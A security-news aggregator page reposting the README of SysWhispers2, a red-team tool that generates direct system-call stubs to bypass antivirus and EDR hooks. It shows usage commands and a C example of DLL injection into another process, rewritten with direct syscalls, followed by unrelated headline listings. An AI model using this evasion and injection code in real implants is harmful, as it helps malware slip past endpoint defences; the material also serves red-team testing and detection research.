Ausnahme gefangen: SSL certificate problem: certificate is not yet valid ๐Ÿ“Œ SysWhispers2 - AV/EDR Evasion Via Direct System Calls

๐Ÿ  Team IT Security News

TSecurity.de ist eine Online-Plattform, die sich auf die Bereitstellung von Informationen,alle 15 Minuten neuste Nachrichten, Bildungsressourcen und Dienstleistungen rund um das Thema IT-Sicherheit spezialisiert hat.
Ob es sich um aktuelle Nachrichten, Fachartikel, Blogbeitrรคge, Webinare, Tutorials, oder Tipps & Tricks handelt, TSecurity.de bietet seinen Nutzern einen umfassenden รœberblick รผber die wichtigsten Aspekte der IT-Sicherheit in einer sich stรคndig verรคndernden digitalen Welt.

16.12.2023 - TIP: Wer den Cookie Consent Banner akzeptiert, kann z.B. von Englisch nach Deutsch รผbersetzen, erst Englisch auswรคhlen dann wieder Deutsch!

Google Android Playstore Download Button fรผr Team IT Security



๐Ÿ“š SysWhispers2 - AV/EDR Evasion Via Direct System Calls


๐Ÿ’ก Newskategorie: IT Security Nachrichten
๐Ÿ”— Quelle: feedproxy.google.com


SysWhispers helps with evasion by generating header/ASM files implants can use to make direct system calls.

All core syscalls are supported and example generated files available in the example-output/ folder.


Difference Between SysWhispers 1 and 2

The usage is almost identical to SysWhispers1 but you don't have to specify which versions of Windows to support. Most of the changes are under the hood. It no longer relies on @j00ru's syscall tables, and instead uses the "sorting by system call address" technique popularized by @modexpblog. This significantly reduces the size of the syscall stubs.

The specific implementation in SysWhispers2 is a variation of @modexpblog's code. One difference is that the function name hashes are randomized on each generation. @ElephantSe4l, who had published this technique earlier, has another implementation based in C++17 which is also worth checking out.

The original SysWhispers repository is still up but may be deprecated in the future.


Introduction

Various security products place hooks in user-mode API functions which allow them to redirect execution flow to their engines and detect for suspicious behaviour. The functions in ntdll.dll that make the syscalls consist of just a few assembly instructions, so re-implementing them in your own implant can bypass the triggering of those security product hooks. This technique was popularized by @Cn33liz and his blog post has more technical details worth reading.

SysWhispers provides red teamers the ability to generate header/ASM pairs for any system call in the core kernel image (ntoskrnl.exe). The headers will also include the necessary type definitions.


Installation
> git clone https://github.com/jthuraisamy/SysWhispers2.git
> cd SysWhispers2
> py .\syswhispers.py --help

Usage and Examples

Command Lines
# Export all functions with compatibility for all supported Windows versions (see example-output/).
py .\syswhispers.py --preset all -o syscalls_all

# Export just the common functions (see below for list).
py .\syswhispers.py --preset common -o syscalls_common

# Export NtProtectVirtualMemory and NtWriteVirtualMemory with compatibility for all versions.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem

Script Output
PS C:\Projects\SysWhispers2> py .\syswhispers.py --preset common --out-file syscalls_common

. ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-. /
`-. | | `-. |/|/ | | | `-. | | |-' | `-. ,-'
`-' `-| `-' ' ' ' ' ' `-' |-' `-' ' `-' `---
/| | @Jackson_T
`-' ' @modexpblog, 2021

SysWhispers2: Why call the kernel when you can whisper?

Common functions selected.

Complete! Files written to:
syscalls_common.h
syscalls_common.c
syscalls_common_stubs.asm

Before-and-After Example of Classic CreateRemoteThread DLL Injection
py .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>

void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");

WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Import the generated header.

void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");

NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}

Common Functions

Using the --preset common switch will create a header/ASM pair with the following functions:

  • NtCreateProcess (CreateProcess)
  • NtCreateThreadEx (CreateRemoteThread)
  • NtOpenProcess (OpenProcess)
  • NtOpenThread (OpenThread)
  • NtSuspendProcess
  • NtSuspendThread (SuspendThread)
  • NtResumeProcess
  • NtResumeThread (ResumeThread)
  • NtGetContextThread (GetThreadContext)
  • NtSetContextThread (SetThreadContext)
  • NtClose (CloseHandle)
  • NtReadVirtualMemory (ReadProcessMemory)
  • NtWriteVirtualMemory (WriteProcessMemory)
  • NtAllocateVirtualMemory (VirtualAllocEx)
  • NtProtectVirtualMemory (VirtualProtectEx)
  • NtFreeVirtualMemory (VirtualFreeEx)
  • NtQuerySystemInformation (GetSystemInfo)
  • NtQueryDirectoryFile
  • NtQueryInformationFile
  • NtQueryInformationProcess
  • NtQueryInformationThread
  • NtCreateSection (CreateFileMapping)
  • NtOpenSection
  • NtMapViewOfSection
  • NtUnmapViewOfSection
  • NtAdjustPrivilegesToken (AdjustTokenPrivileges)
  • NtDeviceIoControlFile (DeviceIoControl)
  • NtQueueApcThread (QueueUserAPC)
  • NtWaitForMultipleObjects (WaitForMultipleObjectsEx)

Importing into Visual Studio
  1. Copy the generated H/C/ASM files into the project folder.
  2. In Visual Studio, go to Project โ†’ Build Customizations... and enable MASM.
  3. In the Solution Explorer, add the .h and .c/.asm files to the project as header and source files, respectively.
  4. Go to the properties of the ASM file, and set the Item Type to Microsoft Macro Assembler.
  5. Ensure that the project platform is set to x64. 32-bit projects are not supported at this time.

Caveats and Limitations
  • Only 64-bit Windows is supported at this time.
  • System calls from the graphical subsystem (win32k.sys) are not supported.
  • Tested on Visual Studio 2019 (v142) with Windows 10 SDK.

Troubleshooting
  • Type redefinitions errors: a project may not compile if typedefs in syscalls.h have already been defined.
    • Ensure that only required functions are included (i.e. --preset all is rarely necessary).
    • If a typedef is already defined in another used header, then it could be removed from syscalls.h.

Credits

Developed by @Jackson_T and @modexpblog, but builds upon the work of many others:


Related Articles and Projects

References to SysWhispers


...



๐Ÿ“Œ SysWhispers - AV/EDR Evasion Via Direct System Calls


๐Ÿ“ˆ 48.04 Punkte

๐Ÿ“Œ SysWhispers2 - AV/EDR Evasion Via Direct System Calls


๐Ÿ“ˆ 48.04 Punkte

๐Ÿ“Œ Python AV Evasion Tool - Generate (Almost) FUD Payload | Phantom Evasion | Kali Linux 208.2


๐Ÿ“ˆ 31.9 Punkte

๐Ÿ“Œ Evasive Maneuvers: Trends in Phishing Evasion & Anti-Evasion


๐Ÿ“ˆ 31.9 Punkte

๐Ÿ“Œ US Treasury Calls For Stricter Cryptocurrency Compliance With IRS, Says They Pose Tax-Evasion Risk


๐Ÿ“ˆ 25.82 Punkte

๐Ÿ“Œ [$] Direct host system calls from KVM


๐Ÿ“ˆ 25.08 Punkte

๐Ÿ“Œ WdToggle - A Beacon Object File (BOF) For Cobalt Strike Which Uses Direct System Calls To Enable WDigest Credential Caching


๐Ÿ“ˆ 25.08 Punkte

๐Ÿ“Œ Facebook Bug Bounty - Filter Evasion via Linkshim Bypass


๐Ÿ“ˆ 22.96 Punkte

๐Ÿ“Œ Facebook Bug Bounty - Filter Evasion via Linkshim Bypass


๐Ÿ“ˆ 22.96 Punkte

๐Ÿ“Œ Facebook Bug Bounty - Filter Evasion via Linkshim Bypass


๐Ÿ“ˆ 22.96 Punkte

๐Ÿ“Œ Facebook Bug Bounty - Filter Evasion via Linkshim Bypass


๐Ÿ“ˆ 22.96 Punkte

๐Ÿ“Œ RedLine Stealer Malware Deployed Via ScrubCrypt Evasion Tool


๐Ÿ“ˆ 22.96 Punkte

๐Ÿ“Œ Kernel threads v User threads. Do they communicate via IPC for the sake of executing system calls?


๐Ÿ“ˆ 21.41 Punkte

๐Ÿ“Œ Thermalright True Spirit 140 Direct: Schlanker Towerkรผhler mit Heatpipe Direct Touch


๐Ÿ“ˆ 21.37 Punkte

๐Ÿ“Œ Thermalright True Spirit 140 Direct: Schlanker Towerkรผhler mit Heatpipe Direct Touch


๐Ÿ“ˆ 21.37 Punkte

๐Ÿ“Œ Nintendo Direct : Gerรผcht: Weitere Ausgabe nach Pokรฉmon-Direct schon bald?


๐Ÿ“ˆ 21.37 Punkte

๐Ÿ“Œ Wi-Fi Direct To Hell: Attacking Wi-Fi Direct Protocol Implementations


๐Ÿ“ˆ 21.37 Punkte

๐Ÿ“Œ Nintendo Direct Mini: Alle Infos, alle Spiele aus der spontan verรถffentlichten Direct!


๐Ÿ“ˆ 21.37 Punkte

๐Ÿ“Œ Nintendo Direct - Kommt nach der Mario-Ausgabe direkt die nรคchste Direct?


๐Ÿ“ˆ 21.37 Punkte

๐Ÿ“Œ UK watchdog fines biz ยฃ130k for 900,000+ direct marketing calls to folk who had opted out


๐Ÿ“ˆ 20.56 Punkte

๐Ÿ“Œ Enhancing Workflow Efficiency with Direct HTTP API Calls in Step Functions


๐Ÿ“ˆ 20.56 Punkte

๐Ÿ“Œ Enhancing Workflow Efficiency with Direct HTTP API Calls in Step Functions


๐Ÿ“ˆ 20.56 Punkte

๐Ÿ“Œ Sri Lankaโ€™s Evasion of Accountability Tests the Limits of the International Human Rights System


๐Ÿ“ˆ 20.47 Punkte

๐Ÿ“Œ Microsoft Teams Calls Not Ringing on Incoming Calls [FIXED]


๐Ÿ“ˆ 19.75 Punkte

๐Ÿ“Œ Washington Post Writer Calls 2019 'The Year of OK Boomer', Calls for Inter-Generational Kindness


๐Ÿ“ˆ 19.75 Punkte

๐Ÿ“Œ How To Make Voice Calls and Video Calls From WhatsApp Desktop App?


๐Ÿ“ˆ 19.75 Punkte

๐Ÿ“Œ X introduces video and audio calls on Android; receive calls for free but pay to make


๐Ÿ“ˆ 19.75 Punkte

๐Ÿ“Œ From directory traversal to direct travesty: Crash, hijack, siphon off this TP-Link VPN box via classic exploitable bugs


๐Ÿ“ˆ 17.7 Punkte

๐Ÿ“Œ LinkedIn Direct Messages Exploited Via โ€œmore_eggsโ€ Backdoor


๐Ÿ“ˆ 17.7 Punkte

๐Ÿ“Œ MMD-0062-2017 - Credential harvesting by SSH Direct TCP Forward attack via IoT botnet


๐Ÿ“ˆ 17.7 Punkte

๐Ÿ“Œ Instagram: Sprachnachrichten lassen sich nun via Direct verschicken


๐Ÿ“ˆ 17.7 Punkte

๐Ÿ“Œ Hackers Abusing LinkedInโ€™s Direct Messaging Service to Deliver More_eggs Malware via Fake Job Offers


๐Ÿ“ˆ 17.7 Punkte











matomo